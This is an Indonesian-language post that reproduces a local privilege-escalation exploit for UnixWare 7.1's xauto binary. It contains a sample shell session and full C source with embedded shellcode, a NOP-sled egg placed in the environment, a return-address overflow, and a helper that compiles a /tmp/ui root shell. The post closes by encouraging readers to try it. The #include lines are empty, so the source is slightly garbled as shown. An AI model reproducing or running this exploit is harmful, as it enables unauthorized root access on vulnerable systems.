RootUnixWare

UnixWare 7.1 gain root privilage

Pengenalan
walaupun UnixWare /usr/X/bin/xauto g punya suid/sgid, tapi kita bisa membuffer untuk dapetin root akses.

peringatan
hanya untuk UnixWare 7.1, dan semua UnixWare yang memungkinkan Vulnerable.

Exploits

bash-2.02$ ls -la /usr/X/bin/xauto
-rwxr-xr-x 1 root sys 39968 Apr 3 1998 /usr/X/bin/xauto
bash-2.02$ cat /etc/security/tcb/privs | grep xauto
39968:3056:939894567:%fixed,setuid,dacread:/usr/X/bin/xauto
bash-2.02$ ./uwxauto
UnixWare 7.x exploit for the non-su/gid /usr/X/bin/xauto
Brock Tellier [EMAIL PROTECTED]
Using offset/addr: 9400/0x8047b08

SOURCE
--- uwxauto.c ---
/**
** UnixWare 7.1 root exploit for xauto
** Note that xauto is NOT suid or sgid but gains it's privs from
** /etc/security/tcb/privs. For more info, consult intro(2)
** and fileprivs(1)
**
**
** Brock Tellier [EMAIL PROTECTED]
**/


#include
#include

char scoshell[]= /* UnixWare 7.1 shellcode runs /tmp/ui */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";


#define EGGLEN 2048
#define RETLEN 5000
#define ALIGN 0
#define NOP 0x90
#define CODE "void main() { setreuid(0,0); system(\"/bin/sh\"); }\n"

void buildui() {
FILE *fp;
char cc[100];

fp = fopen("/tmp/ui.c", "w");
fprintf(fp, CODE);
fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
system(cc);

}

int main(int argc, char *argv[]) {

long int offset=0;

int i;
int egglen = EGGLEN;
int retlen;
long int addr;
char egg[EGGLEN];
char ret[RETLEN];
// who needs __asm__? Per Solar Designer's suggestion
unsigned long sp = (unsigned long)&sp;

buildui();
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
retlen=RETLEN;
}
else if (argc == 3) {
offset=atoi(argv[1]);
retlen=atoi(argv[2]);
}
else {
offset=9400;
retlen=2000;

}
addr=sp + offset;

fprintf(stderr, "UnixWare 7.x exploit for the non-su/gid
/usr/X/bin/xauto\n");
fprintf(stderr, "Brock Tellier [EMAIL PROTECTED]\n");
fprintf(stderr, "Using offset/addr: %d/0x%x\n", offset,addr);

memset(egg,NOP,egglen);
memcpy(egg+(egglen - strlen(scoshell) - 1),scoshell,strlen(scoshell));

for(i=ALIGN;i< retlen-4;i+=4)
*(int *)&ret[i]=addr;

memcpy(egg, "EGG=", 4);
putenv(egg);

execl("/usr/X/bin/xauto", "xauto","-t", ret, NULL);

}

Selamat mencoba...Kali aja berguna...